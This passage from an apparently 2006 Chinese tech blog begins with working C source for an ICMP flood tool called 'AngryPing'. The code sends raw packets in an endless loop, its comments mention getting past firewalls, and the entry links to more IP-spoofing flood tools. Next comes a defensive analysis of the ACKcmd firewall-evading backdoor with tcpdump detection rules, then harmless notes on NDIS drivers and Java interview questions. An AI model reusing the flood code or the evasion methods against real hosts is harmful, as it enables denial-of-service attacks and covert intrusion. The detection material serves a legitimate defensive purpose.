int TimeOut=2000, SendSEQ=0, PacketSize=32,type=8,code=0,counter=0; //默认数
据声明
char SendBuf[65535]={0}; //缓冲
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
ICMP_HEADER icmp_header;
char DestIp[20]; //目标IP
if (argc<2)
  {
    printf("AngryPing by HBU-LK007\n");
    printf("Usage:%s [Dest] <PacketSize> <type> <code>\n",argv[0]);
//允许用户自定义数据包大小、类型、代码,用以绕过一些防火墙或做一些特殊的报文
Flood
    exit(0);
  }
strcpy(DestIp,argv[1]);
if (argc>2) PacketSize=atoi(argv[2]); //取得数据大小
if (PacketSize>65500)
{
printf("Packet size must less than 65500\n"); //太大会无法生成IP数据报的
exit(0);
}
if (argc>3) type=atoi(argv[3]); //取得类型值
if (type>16)
{
printf("Type must less than 16\n");
exit(0);
}
if (argc>4) code=atoi(argv[4]); //取得代码值
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
  {
    fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
    exit(0);
  }
if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAP
PED))==INVALID_SOCKET)
  {
    fprintf(stderr,"WSASocket failed: %d\n",WSAGetLastError());
    exit(0);
  }
flag=TRUE;
{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(
TimeOut));
if (ErrorCode==SOCKET_ERROR)
  {
    fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
    exit(1);
}
//主要代码开始
printf("Dest:%s  packet:%d  type:%d  code:%d\n\n",argv[1],PacketSize,type,co
de);
printf("Starting...\n\n");  //视觉效果:P
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充Socket结构
//填充ICMP首部
icmp_header.i_type = type;
icmp_header.i_code = code;
icmp_header.i_cksum = 0; //校验和置0
icmp_header.i_id = 2;
icmp_header.timestamp = GetTickCount(); //时间戳
icmp_header.i_seq=999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); //组合ICMP报文和头部
memset(SendBuf+sizeof(icmp_header), 'E', PacketSize); //用E填充ICMP数据
icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+Packe
tSize); //计算校验和
datasize=sizeof(icmp_header)+PacketSize; //计算整个数据包大小
//开始发送
while(1){ //无限循环,按Ctrl+C跳出
/*
这里的printf实际上是为了延时,Flood程序最好别用这么华丽的界面或字符提示来美化
自己,这样会迅速拖慢程序效率!当然,如果能不显示最好,但我去掉printf后,程序
死掉了(太快?)如果你觉得“Sending 1024 packets...”还是大大增加了延时,可以
改成printf("."); 一个小点。反正是自己用,用得顺手就可以。
*/
printf("Sending 1024 packets...\n");
  for(counter=0;counter<1024;counter++){ //循环发送1024个数据包为一组
//发送ICMP报文
    ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,
sizeof(DestAddr));
    if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());

  }
}
}
{
  if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
  WSACleanup();
}
return 0;
}
//代码结束
=========================================================
九、几个ICMP Flood工具
AnGryPing(上面代码的的完成品,直接Flood) 下载地址:http://www.heibai.net/d
ownload/show.php?id=3002
R-Series(包括ACK-Flood、Smurf、Chargen) 下载地址:http://www.heibai.net/do
wnload/show.php?id=2970
pingflood(伪造IP的Flood,号称支持Win98/Me?没测试过,理论上不可信) 下载地址
http://www.hacker.com.cn/down/soft.asp?id=127
FakePing(伪造IP的Flood) 下载地址:http://www.hacker.com.cn/down/soft.asp?i
d=41

- 作者: kevin 2006年05月13日, 星期六 16:32  回复(0) |  引用(0) 加入博采

ACKcmd后门分析 (ZZ)
CKcmd后门分析

by Sinbad
Dec 14, 2001
http://sinbad.dhs.org


简介
-=-=-=-=--=
ACKcmd是提供Win2000下远程命令Shell的一种后门,它使用TCP来传输,但是不同于一般正常的TCP连接有三次握手,ACKcmd仅使用了TCP ACK数据包,所以一般情况下可以穿越防火墙及躲避IDS的检测。

ACKcmd采用client/server结构,在目标机器上运行AckCmdS.exe植入后门,入侵者在客户端运行命令AckCmdC <target ip>即可获得一个远程的Shell。


分析
-=-=-=-=--=
我们现在用sniffit来观察ACKcmd的数据是怎样传输的。入侵者在192.168.0.29,连入目标机器192.168.0.2:

E:\Tools>ackcmdc 192.168.0.2

AckCmd 1.1 - The Ack Command Prompt for Windows 2000
           - (c) 2000, Arne Vidstrom, arne.vidstrom@ntsecurity.nu
           - For instructions see http://ntsecurity.nu/toolbox/ackcmd/

Type "quit" and press Enter to quit

AckCmd> net name    <------ 输入命令

名称
-------------
SERVER2000
ADMINISTRATOR
命令成功完成。

AckCmd> quit        <------ 退出

sniffit抓到的包如下:

TCP Packet ID (from_IP.port-to_IP.port): 192.168.0.29.80-192.168.0.2.1054      
   SEQ (hex): 6060606   ACK (hex): 6060606                                                        
   FLAGS: -A----   Window: 4000                                                                    
Packet ID (from_IP.port-to_IP.port): 192.168.0.29.80-192.168.0.2.1054          
45 E 00 . 00 . 38 8 00 . 00 . 00 . 00 . 80 . 06 . B9 . 50 P C0 . A8 . 00 . 1D .
C0 . A8 . 00 . 02 . 00 . 50 P 04 . 1E . 06 . 06 . 06 . 06 . 06 . 06 . 06 . 06 .
70 p 10 . 40 @ 00 . E6 . C6 . 00 . 00 . 02 . 04 . 05 . B4 . 01 . 01 . 04 . 02 .
6E n 65 e 74 t 20   6E n 61 a 6D m 65 e                                        


TCP Packet ID (from_IP.port-to_IP.port): 192.168.0.2.1054-192.168.0.29.80      
   SEQ (hex): 6060606      FLAGS: ---R--                                        
Packet ID (from_IP.port-to_IP.port): 192.168.0.2.1054-192.168.0.29.80          
45 E 00 . 00 . 28 ( 04 . A8 . 00 . 00 . 80 . 06 . B4 . B8 . C0 . A8 . 00 . 02 .
C0 . A8 . 00 . 1D . 04 . 1E . 00 . 50 P 06 . 06 . 06 . 06 . 06 . 06 . 06 . 06 .
50 P 04 . 00 . 00 . 11 . EB . 00 . 00 .                                        


TCP Packet ID (from_IP.port-to_IP.port): 192.168.0.2.1054-192.168.0.29.80      
   SEQ (hex): 6060606   ACK (hex): 6060606                                      
   FLAGS: -A----   Window: 4000                                                
Packet ID (from_IP.port-to_IP.port): 192.168.0.2.1054-192.168.0.29.80          
45 E 00 . 00 . CD . 04 . A9 . 00 . 00 . 80 . 06 . B4 . 12 . C0 . A8 . 00 . 02 .
C0 . A8 . 00 . 1D . 04 . 1E . 00 . 50 P 06 . 06 . 06 . 06 . 06 . 06 . 06 . 06 .
70 p 10 . 40 @ 00 . 1C . C1 . 00 . 00 . 02 . 04 . 05 . B4 . 01 . 01 . 04 . 02 .
0D . 0A . C3 . FB . B3 . C6 . 20   20   20   20   20   20   20   20   20   20  
20   20   20   20   0D . 0A . 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D -
2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D -
2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D -
2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D -
2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D -
2D - 2D - 2D - 2D - 2D - 0D . 0A . 53 S 45 E 52 R 56 V 45 E 52 R 32 2 30 0 30 0
30 0 20   20   20   20   20   20   0D . 0A . 41 A 44 D 4D M 49 I 4E N 49 I 53 S
54 T 52 R 41 A 54 T 4F O 52 R 20   20   20   0D . 0A . C3 . FC . C1 . EE . B3 .
C9 . B9 . A6 . CD . EA . B3 . C9 . A1 . A3 . 0D . 0A . 0D . 0A .              

可以看出,这次操作总共传输了三个TCP包。客户端的端口号是80,服务器的端口号是1054,这种类似于HTTP的通信是很容易被网管忽略的。客户端的命令net name以明文方式放在TCP的数据段,服务器立刻返回一个TCP RST包,然接着返回一个TCP ACK,其中带着命令执行后的输出结果。如果输出结果很长,ACKcmd只能返回部分数据,这是作者在设计时没有考虑的。你可以运行dir c:\winnt\system32看看,只能输出部分文件列表,最后附带信息“More...”表示并不是返回了全部数据。


检测
-=-=-=-=--=
首先,它采用的端口(80和1054)是固定的。要监控客户端发出的数据包,tcpdump的过滤规则为:

tcp[0:2] = 80 and tcp[2:2] = 1054

多做几次试验,可以发现它们之间通信的TCP ACK包中,序列号和ACK号都是0x06060606(十进制101058054),这也是一个很重要的特征。tcpdump的过滤规则为:

tcp[4:4] = 0x06060606 and tcp[8:4] = 0x06060606


缺陷
-=-=-=-=--=
正如作者所说,这是一个使用TCP ACK穿越防火墙的proof-of-concept,所以并不是很完善。数据的明文方式传输,以及在Win2000的任务列表中能看到AckCmdS.exe,所以此后门不难被发现。

- 作者: kevin 2006年05月13日, 星期六 16:07  回复(0) |  引用(0) 加入博采

NDIS基础知识 (ZZ)
有一些关于Windows网络架构的讨论,这只是一种个人学术观点,仅供参考,不可
当成官方结论。

NDIS(Network Device Interface Specification)提供一个系统的、完整的Wrapper,
NDIS Miniport Driver、NDIS ProtocolDriver等等均属于"插入"这个Wrapper中的"
模块",这些驱动调用Wrapper提供的函数,同时也向Wrapper注册回调函数,整个运
作过程由Wrapper统一调度。Wrapper对应ndis.sys。

TDI Client Driver利用协议驱动上沿引出的TDI接口(Transport Data Interface)实
现命名管道、邮槽、Winsock等等。

下面这些注册表内容对应着Network Control Panel Applet (NCPA):

--------------------------------------------------------------------------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E973-E325-11CE-BFC1-08002BE10318}
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E974-E325-11CE-BFC1-08002BE10318}
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E975-E325-11CE-BFC1-08002BE10318}

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Network\{4D36E972-E325-11CE-BFC1-08002BE10318}

    对应GUID_DEVCLASS_NET、Miniport Driver、Net。收到包后NDIS首先调用
    Miniport Driver进行处理。Miniport Driver负责控制网卡硬件特性,在协议驱
    动与网卡之间传递报文。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Network\{4D36E973-E325-11CE-BFC1-08002BE10318}

    对应GUID_DEVCLASS_NETCLIENT、Client Driver、NetClient。"Client for
    Microsoft Networks"即是此类型驱动。负责向用户态提供NetBIOS Client API。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Network\{4D36E974-E325-11CE-BFC1-08002BE10318}

    对应GUID_DEVCLASS_NETSERVICE、Service Driver、NetService。"File and
    Printer Sharing for Microsoft Networks"即是此类型驱动。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Network\{4D36E975-E325-11CE-BFC1-08002BE10318}

    对应GUID_DEVCLASS_NETTRANS、Protocol Driver、NetTrans。负责实现各种网
    络协议,比如tcpip.sys实现了TCP/IP协议。协议驱动接收Miniport Driver上传
    的报文,也接收Client Driver、Service Driver、TDI Client Driver下传的报
    文。
--------------------------------------------------------------------------

中间层驱动(Intermediate Driver)是一种混合型驱动,位于Miniport Driver与协议
驱动之间,对下看起来像协议驱动,对上看起来像Miniport Driver。

在这些不同类型的驱动之间有一种操作叫作"绑定",其本质在于向NDIS Wrapper指明
报文(Packet)的传递路线。

[ 1] Windows Network Data And Packet Filtering Frequently Asked Questions(这里有一张Network Architecture Diagram)
     http://www.pcausa.com/resources/winpktfilter.htm

[ 2] Network Architecture in Windows NT-based Operating Systems
     http://plasmic.com/~vizzini/ntnetarch.html

- 作者: kevin 2006年05月13日, 星期六 13:31  回复(1) |  引用(0) 加入博采

华为公司 java 面试题(号称是的zZ)

第一部分:选择题
QUESTION NO: 1
1、public class Test {
    public static void changeStr(String str){
        str="welcome";
    }
    public static void main(String[] args) {
        String str="1234";
        changeStr(str);
        System.out.println(str);
    }
}
Please write the output result :

QUESTION NO:2
1. public class Test {
2. static boolean foo(char c) {
3. System.out.print(c);
4. return true;
5. }
6. public static void main( String[] argv ) {
7. int i =0;
8. for ( foo('A'); foo('B')&&(i<2); foo('C')){
9. i++ ;
10. foo('D');
12. }
13. }
14. }
What is the result?
A. ABDCBDCB
B. ABCDABCD
C. Compilation fails.
D. An exception is thrown at runtime.

QUESTION NO: 3
1. class A {
2. protected int method1(int a, int b) { return 0; }
3. }
Which two are valid in a class that extends class A? (Chooe two)
A. public int method1(int a, int b) { return 0; }
B. private int method1(int a, int b) { return 0; }
C. private int method1(int a, long b) { return 0; }
D. public short method1(int a, int b) { return 0; }
E. static protected int method1(int a, int b) { return 0; }

QUESTION NO: 4
1. public class Outer{
2. public void someOuterMethod() {
3. // Line 3
4. }
5. public class Inner{}
6. public static void main( String[]argv ) {
7. Outer o = new Outer();
8. // Line 8
9. }
10. }
Which instantiates an instance of Inner?
A. new Inner(); // At line 3
B. new Inner(); // At line 8
C. new o.Inner(); // At line 8
D. new Outer.Inner(); // At line 8//new Outer().new Inner()

QUESTION NO: 5
Which method is used by a servlet to place its session ID in a URL that is written to the servlet’s response output stream?
A. The encodeURL method of the HttpServletRequest interface.
B. The encodeURL method of the HttpServletResponse interface.
C. The rewriteURL method of the HttpServletRequest interface.
D. The rewriteURL method of the HttpServletResponse interface.

QUESTION NO: 6
Which two are equivalent? (Choose two)
A. <%= YoshiBean.size%>
B. <%= YoshiBean.getSize()%>
C. <%= YoshiBean.getProperty("size")%>
D. <jsp:getProperty id="YoshiBean" param="size"/>
E. <jsp:getProperty name="YoshiBean" param="size"/>
F. <jsp:getProperty id="YoshiBean" property="size"/>
G. <jsp:getProperty name="YoshiBean" property="size"/>

QUESTION NO: 7
Which of the following statements regarding the lifecycle of a session bean are correct?
1.  java.lang.IllegalStateException is thrown if SessionContext.getEJBObject() is invoked when a stateful session bean instance is passivated.
2.  SessionContext.getRollbackOnly() does not throw an exception when a session bean with bean-managed transaction demarcation is activated.
3.  An exception is not thrown when SessionContext.getUserTransaction() is called in the afterBegin method of a bean with container-managed transactions.
4.  JNDI access to java:comp/env is permitted in all the SessionSynchronization methods of a stateful session bean with container-managed transaction demarcation.
5.  Accessing resource managers in the SessionSynchronization.afterBegin method of a stateful session bean with bean-managed transaction does not throw an exception.


第二部分:概念题
1.    描述Struts体系结构?对应各个部分的开发工作主要包括哪些?

2.    XML包括哪些解释技术,区别是什么?
3.    JSP有哪些内置对象和动作?它们的作用分别是什么?

4、SQL问答题
SELECT * FROM TABLE

SELECT * FROM TABLE
WHERE NAME LIKE '%%' AND ADDR LIKE '%%'
AND (1_ADDR LIKE '%%' OR 2_ADDR LIKE '%%'
OR 3_ADDR LIKE '%%' OR 4_ADDR LIKE '%%' )
的检索结果为何不同?

5、SQL问答题
表结构:
1、    表名:g_cardapply
字段(字段名/类型/长度):
g_applyno        varchar   8;//申请单号(关键字)
g_applydate     bigint     8;//申请日期
g_state        varchar     2;//申请状态
2、    表名:g_cardapplydetail
字段(字段名/类型/长度):
g_applyno        varchar     8;//申请单号(关键字)
g_name        varchar     30;//申请人姓名
g_idcard        varchar     18;//申请人身份证号
g_state        varchar     2;//申请状态
其中,两个表的关联字段为申请单号。
题目:
1、    查询身份证号码为440401430103082的申请日期
2、    查询同一个身份证号码有两条以上记录的身份证号码及记录个数
3、    将身份证号码为440401430103082的记录在两个表中的申请状态均改为07
4、    删除g_cardapplydetail表中所有姓李的记录

- 作者: kevin 2006年05月12日, 星期五 16:31  回复(1) |  引用(0) 加入博采